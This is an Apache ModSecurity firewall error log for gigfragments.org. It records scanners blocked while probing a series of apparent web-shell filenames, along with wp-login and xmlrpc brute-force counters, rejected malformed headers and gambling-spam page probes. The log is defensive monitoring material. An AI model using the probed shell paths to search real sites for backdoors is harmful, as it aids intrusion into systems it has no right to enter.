[Wed Apr 01 09:18:36.005505 2026] [:error] [pid 23819:tid 23831] [client 74.248.134.58:13762] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "acxybNdfUS_37wFAM74I7gAAAMk"]
[Wed Apr 01 09:18:36.515351 2026] [:error] [pid 24346:tid 24374] [client 74.248.134.58:59238] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "acxybLc1l8kg9MhGHIKxfgAAAVY"]
[Wed Apr 01 09:18:37.025172 2026] [:error] [pid 23819:tid 23830] [client 74.248.134.58:14027] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "acxybddfUS_37wFAM74I8gAAAMg"]
[Wed Apr 01 09:18:37.535631 2026] [:error] [pid 23819:tid 23829] [client 74.248.134.58:13803] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "acxybddfUS_37wFAM74I9AAAAMc"]
[Wed Apr 01 09:18:38.046424 2026] [:error] [pid 23714:tid 23734] [client 74.248.134.58:14053] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "acxybkHxDDU2ETcG9DQ_UwAAAAA"]
[Wed Apr 01 09:18:38.555477 2026] [:error] [pid 23715:tid 23776] [client 74.248.134.58:14056] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "acxybq-REzOruNbiT9yOcgAAAE8"]
[Wed Apr 01 09:18:39.069888 2026] [:error] [pid 23714:tid 23747] [client 74.248.134.58:13775] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "acxyb0HxDDU2ETcG9DQ_VAAAAA0"]
[Wed Apr 01 09:18:39.579905 2026] [:error] [pid 24346:tid 24358] [client 74.248.134.58:14047] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "acxyb7c1l8kg9MhGHIKxfwAAAUY"]
[Wed Apr 01 09:18:40.090134 2026] [:error] [pid 24346:tid 24366] [client 74.248.134.58:14078] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vvedr.php"] [unique_id "acxycLc1l8kg9MhGHIKxgQAAAU4"]
[Wed Apr 01 09:18:40.603589 2026] [:error] [pid 23714:tid 23739] [client 74.248.134.58:63575] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vvedr.php"] [unique_id "acxycEHxDDU2ETcG9DQ_XwAAAAU"]
[Wed Apr 01 09:18:41.114470 2026] [:error] [pid 24314:tid 24330] [client 74.248.134.58:63556] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vvedr.php"] [unique_id "acxycZRF3FCzjmMUX5YGbAAAAQw"]
[Wed Apr 01 09:18:41.627480 2026] [:error] [pid 23714:tid 23738] [client 74.248.134.58:13797] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vvedr.php"] [unique_id "acxycUHxDDU2ETcG9DQ_ZgAAAAQ"]
[Wed Apr 01 09:18:42.140419 2026] [:error] [pid 23716:tid 23806] [client 74.248.134.58:63608] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "acxycnVtFUg_mx-RYb6SrQAAAJI"]
[Wed Apr 01 09:18:42.651121 2026] [:error] [pid 23716:tid 23794] [client 74.248.134.58:63598] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "acxycnVtFUg_mx-RYb6SsQAAAIY"]
[Wed Apr 01 09:18:43.165049 2026] [:error] [pid 23714:tid 23744] [client 74.248.134.58:59254] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "acxyc0HxDDU2ETcG9DQ_cwAAAAo"]
[Wed Apr 01 09:18:43.689062 2026] [:error] [pid 23714:tid 23743] [client 74.248.134.58:63595] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "acxyc0HxDDU2ETcG9DQ_fAAAAAk"]
[Wed Apr 01 09:18:44.199388 2026] [:error] [pid 24346:tid 24357] [client 74.248.134.58:13786] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acxydLc1l8kg9MhGHIKxhQAAAUU"]
[Wed Apr 01 09:18:44.709889 2026] [:error] [pid 23715:tid 23774] [client 74.248.134.58:14051] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acxydK-REzOruNbiT9yOdgAAAE0"]
[Wed Apr 01 09:18:45.223740 2026] [:error] [pid 23715:tid 23775] [client 74.248.134.58:13778] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acxyda-REzOruNbiT9yOdwAAAE4"]
[Wed Apr 01 09:18:45.733807 2026] [:error] [pid 23716:tid 23789] [client 74.248.134.58:63584] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acxydXVtFUg_mx-RYb6StQAAAIE"]
[Wed Apr 01 09:18:46.248296 2026] [:error] [pid 23715:tid 23771] [client 74.248.134.58:59245] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acxydq-REzOruNbiT9yOeQAAAEo"]
[Wed Apr 01 09:18:46.758761 2026] [:error] [pid 24314:tid 24320] [client 74.248.134.58:13784] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acxydpRF3FCzjmMUX5YGcwAAAQI"]
[Wed Apr 01 09:18:47.268863 2026] [:error] [pid 23716:tid 23809] [client 74.248.134.58:13798] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acxyd3VtFUg_mx-RYb6SugAAAJU"]
[Wed Apr 01 09:18:47.779549 2026] [:error] [pid 23716:tid 23805] [client 74.248.134.58:63571] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acxyd3VtFUg_mx-RYb6SuwAAAJE"]
[Wed Apr 01 09:18:48.290949 2026] [:error] [pid 23714:tid 23748] [client 74.248.134.58:63554] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htto.php"] [unique_id "acxyeEHxDDU2ETcG9DQ_mQAAAA4"]
[Wed Apr 01 09:18:48.800190 2026] [:error] [pid 23714:tid 23737] [client 74.248.134.58:13974] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htto.php"] [unique_id "acxyeEHxDDU2ETcG9DQ_mwAAAAM"]
[Wed Apr 01 09:18:49.312425 2026] [:error] [pid 23716:tid 23804] [client 74.248.134.58:59210] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htto.php"] [unique_id "acxyeXVtFUg_mx-RYb6SwAAAAJA"]
[Wed Apr 01 09:18:49.823510 2026] [:error] [pid 23714:tid 23753] [client 74.248.134.58:59233] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htto.php"] [unique_id "acxyeUHxDDU2ETcG9DQ_ngAAABM"]
[Wed Apr 01 09:18:50.332925 2026] [:error] [pid 24346:tid 24373] [client 74.248.134.58:13799] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xhejulap.php"] [unique_id "acxyerc1l8kg9MhGHIKxjAAAAVU"]
[Wed Apr 01 09:18:50.845984 2026] [:error] [pid 23714:tid 23742] [client 74.248.134.58:59239] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xhejulap.php"] [unique_id "acxyekHxDDU2ETcG9DQ_ogAAAAg"]
[Wed Apr 01 09:18:51.355650 2026] [:error] [pid 23714:tid 23738] [client 74.248.134.58:63609] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xhejulap.php"] [unique_id "acxye0HxDDU2ETcG9DQ_qQAAAAQ"]
[Wed Apr 01 09:18:51.865675 2026] [:error] [pid 24346:tid 24368] [client 74.248.134.58:59205] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xhejulap.php"] [unique_id "acxye7c1l8kg9MhGHIKxjwAAAVA"]
[Wed Apr 01 09:18:52.376586 2026] [:error] [pid 24346:tid 24367] [client 74.248.134.58:13854] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acxyfLc1l8kg9MhGHIKxlAAAAU8"]
[Wed Apr 01 09:18:52.892196 2026] [:error] [pid 23716:tid 23797] [client 74.248.134.58:63612] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acxyfHVtFUg_mx-RYb6SwwAAAIk"]
[Wed Apr 01 09:18:53.404231 2026] [:error] [pid 23819:tid 23844] [client 74.248.134.58:59259] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acxyfddfUS_37wFAM74JGwAAANY"]
[Wed Apr 01 09:18:53.913636 2026] [:error] [pid 23716:tid 23805] [client 74.248.134.58:59232] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acxyfXVtFUg_mx-RYb6SxwAAAJE"]
[Wed Apr 01 09:18:54.425743 2026] [:error] [pid 24346:tid 24354] [client 74.248.134.58:14022] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acxyfrc1l8kg9MhGHIKxlwAAAUI"]
[Wed Apr 01 09:18:54.938499 2026] [:error] [pid 23716:tid 23804] [client 74.248.134.58:59261] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acxyfnVtFUg_mx-RYb6SzAAAAJA"]
[Wed Apr 01 09:42:56.281980 2026] [:error] [pid 24346:tid 24361] [client 170.106.163.48:32988] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acx4ILc1l8kg9MhGHIK35QAAAUk"]
[Wed Apr 01 10:44:22.194030 2026] [:error] [pid 23714:tid 23745] [client 206.189.190.108:56538] [client 206.189.190.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.190.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acyGhkHxDDU2ETcG9DSDQQAAAAs"]
[Wed Apr 01 10:44:24.374021 2026] [:error] [pid 23714:tid 23747] [client 206.189.190.108:56717] [client 206.189.190.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.190.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acyGiEHxDDU2ETcG9DSDRwAAAA0"]
[Wed Apr 01 13:56:45.640533 2026] [:error] [pid 8995:tid 9005] [client 43.153.71.132:37374] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acyzneonaBjs3qxcRecSYgAAAAc"]
[Wed Apr 01 14:41:25.374509 2026] [:error] [pid 8995:tid 9019] [client 117.33.163.216:35218] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acy-FeonaBjs3qxcReczZQAAABU"]
[Wed Apr 01 16:47:09.798756 2026] [:error] [pid 8910:tid 8992] [client 221.121.109.98:33752] [client 221.121.109.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 221.121.109.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aczbjaJZINUcF3tYgEwgggAAARg"]
[Wed Apr 01 18:19:21.336329 2026] [:error] [pid 8910:tid 8979] [client 147.135.252.182:45628] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aczxKaJZINUcF3tYgEw2twAAAQs"]
[Wed Apr 01 18:19:23.310757 2026] [:error] [pid 17856:tid 17864] [client 147.135.252.182:45050] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aczxKz7Idlm5j9frhqTGVAAAAEY"]
[Wed Apr 01 18:19:25.220823 2026] [:error] [pid 62559:tid 62580] [client 147.135.252.182:45056] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aczxLS7NKI8IaNKZFIdiVwAAAVM"]
[Wed Apr 01 18:19:27.269036 2026] [:error] [pid 8908:tid 8916] [client 147.135.252.182:54358] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aczxL_kmxtJXGnLdvgA8DQAAAIM"]
[Wed Apr 01 18:19:29.155804 2026] [:error] [pid 62559:tid 62585] [client 147.135.252.182:54360] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aczxMS7NKI8IaNKZFIdiYAAAAVg"]
[Wed Apr 01 18:19:31.175891 2026] [:error] [pid 17856:tid 17877] [client 147.135.252.182:54362] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aczxMz7Idlm5j9frhqTGgAAAAFM"]
[Wed Apr 01 18:19:33.039502 2026] [:error] [pid 8995:tid 9010] [client 147.135.252.182:54374] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aczxNeonaBjs3qxcReeVaQAAAAw"]
[Wed Apr 01 18:19:35.161096 2026] [:error] [pid 8909:tid 8953] [client 147.135.252.182:54388] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aczxNzvP_a0662gDl6A1xwAAAMw"]
[Wed Apr 01 18:19:37.055798 2026] [:error] [pid 8908:tid 8913] [client 147.135.252.182:48022] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aczxOfkmxtJXGnLdvgA8FwAAAIA"]
[Wed Apr 01 18:19:39.065538 2026] [:error] [pid 8995:tid 9005] [client 147.135.252.182:48032] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aczxO-onaBjs3qxcReeVdAAAAAc"]
[Wed Apr 01 18:19:40.805315 2026] [:error] [pid 17856:tid 17858] [client 147.135.252.182:48048] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aczxPD7Idlm5j9frhqTGlwAAAEA"]
